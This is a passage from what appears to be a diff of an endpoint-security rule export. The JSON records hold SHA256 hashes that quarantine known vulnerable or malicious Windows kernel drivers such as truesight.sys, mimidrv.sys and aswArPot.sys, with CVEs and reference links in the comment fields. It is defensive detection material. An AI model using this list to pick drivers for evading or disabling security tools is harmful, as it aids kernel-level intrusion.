+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac239dd8-d616-5b79-9439-a3b3ed002616",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479722Z",
+  "creation_date": "2026-03-23T11:45:30.479724Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479729Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0f1fbadc1d7a77557d3d836f7698bd986a3ec9fc5d534ad3403970f071176f7",
+  "comment": "Malicious Kernel Driver (aka a9df5964635ef8bd567ae487c3d214c4.sys) [https://www.loldrivers.io/drivers/ac62e709-4aa5-41f4-87b1-b811283d70d1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac308b0a-0da6-5a63-95a9-a36d91b82959",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608439Z",
+  "creation_date": "2026-03-23T11:45:29.608441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608447Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9dab4b6fddc8e1ec0a186aa8382b184a5d52cfcabaaf04ff9e3767021eb09cf4",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac33c23a-b63c-5a85-8f66-416d184c93d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479494Z",
+  "creation_date": "2026-03-23T11:45:30.479496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f83465d2c38c20a3854d86c293867de3baae2f90419dbe82405bc9f9dd7bbd8c",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac34a4bb-cabb-5b12-bfbb-06211fb17fe6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467707Z",
+  "creation_date": "2026-03-23T11:45:30.467710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf2ab728d27075bf2245ddc3257ad8df5179c8c4a449493ea995af9a979d6a2e",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac500047-8912-5920-8a48-b05494b6776f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813504Z",
+  "creation_date": "2026-03-23T11:45:31.813508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813516Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0d6993f06763fda1aba7f09487c81c378a6e3d435827d15e778fc499826b205",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac514672-2272-5b59-9695-75b97a22e403",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824162Z",
+  "creation_date": "2026-03-23T11:45:30.824165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824172Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce6de057bd961747bf279abe43591823512bfc218b3e378357dc3a6282db5cc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac5576e5-e8b7-5aea-a541-72fe76d717ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149863Z",
+  "creation_date": "2026-03-23T11:45:31.149866Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149886Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b240ed7b56af0a9f695504d388a2cc809de65c912d7cfc343b5335cc6aee59a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac62b5e9-2556-562f-9d96-75d2e7832cf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978188Z",
+  "creation_date": "2026-03-23T11:45:29.978190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "265010deb10af80885726edc450867fa69acbde449b51d13bf891322ff5c1c2d",
+  "comment": "Malicious Kernel Driver (aka 0x3040_blacklotus_beta_driver.sys) [https://www.loldrivers.io/drivers/8750b245-af35-4bc6-9af3-dc858f9db64f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac67d270-0fb9-527b-87d7-ae97189c7d7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142754Z",
+  "creation_date": "2026-03-23T11:45:31.142756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "917b94760c0c98d00ad1f3b6955cba990514e5062ec3c9ab0ba77905972d2cfc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac72a93b-ec40-5cb2-bfa8-d25f0cd94075",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975429Z",
+  "creation_date": "2026-03-23T11:45:29.975431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "192a27335de23a008c05efe24ea1fa0f633dd8ddc68d904466e4e2741a0bb645",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac76ff14-b24f-5622-a756-6dfedc236c38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468259Z",
+  "creation_date": "2026-03-23T11:45:30.468262Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468271Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "770552bfc6598f165443da94ac0c6aca00f95a6a9a8e89713f9980730d9ee9c2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac7dc6af-2017-52ff-93a4-02537900cb57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144982Z",
+  "creation_date": "2026-03-23T11:45:31.144984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144989Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "722ae57db8ce8f7b8cc28714e5c151f812411adbbd27b5e8d5aa75b1f94dd22b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac830ddc-0dfa-54b1-8aa7-93eb3e91b9c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609684Z",
+  "creation_date": "2026-03-23T11:45:29.609686Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e665962c827ce0adbd29fe6bcf09bbb1d7a7022075d162ff9b65d0af9794ac0",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac889e37-06f3-5744-99e8-e15fee9cf206",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478599Z",
+  "creation_date": "2026-03-23T11:45:31.478603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33debab1d4d09a0177eb0dccd4764deebbbc19e214385943e257375921e8a323",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac8bd08d-27d9-5298-85a3-f3b6827ad944",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971857Z",
+  "creation_date": "2026-03-23T11:45:29.971859Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac96c034-0647-517a-8d83-9ef765ce5e2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818541Z",
+  "creation_date": "2026-03-23T11:45:30.818543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818549Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53b9e423baf946983d03ce309ec5e006ba18c9956dcd97c68a8b714d18c8ffcf",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac9ef523-c587-564d-9c65-fd574ce547ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154691Z",
+  "creation_date": "2026-03-23T11:45:31.154693Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154699Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "619dc10d02ca22d881f02a70f0ad225f736a6f0fc2e1d29eecc275dc3808d7ba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aca022ec-227a-5f66-83b9-a313a38489c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494112Z",
+  "creation_date": "2026-03-23T11:45:31.494115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494124Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c55b9674a4dc7a17515ab97db846ce4cbed9e7f9ce2e3e58d860d71b62d3b32a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aca237bd-25fa-5e77-b203-df275f682bb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970123Z",
+  "creation_date": "2026-03-23T11:45:29.970125Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c919efdad21b7d9884903b9d539fbb50dc418ff2c2753c12b35b9ace4c96d73",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aca6bd2b-253b-5e01-aa5a-498210dc63e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145508Z",
+  "creation_date": "2026-03-23T11:45:32.145510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145515Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6bc0e1c104fac4a8caa4237c7ae181ca11a043a3ee26426aeb7a90dc40281fad",
+  "comment": "Vulnerable Kernel Driver (aka szkg64.sys) [https://www.loldrivers.io/drivers/375e8de3-aae4-488d-8273-66744978b45f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acc33743-5704-544c-b2a2-485eb61c28a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969133Z",
+  "creation_date": "2026-03-23T11:45:29.969135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a42ebde59e8f63804eaa404f79ee93a16bb33d27fb158c6bfbe6143226899a0",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acc37293-643e-5fe1-bb73-21d55fd3db4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487218Z",
+  "creation_date": "2026-03-23T11:45:31.487220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c860d22c8a57469b55311b8b6cb3e00eb19b80f94a8da65511faa6a4d1977789",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
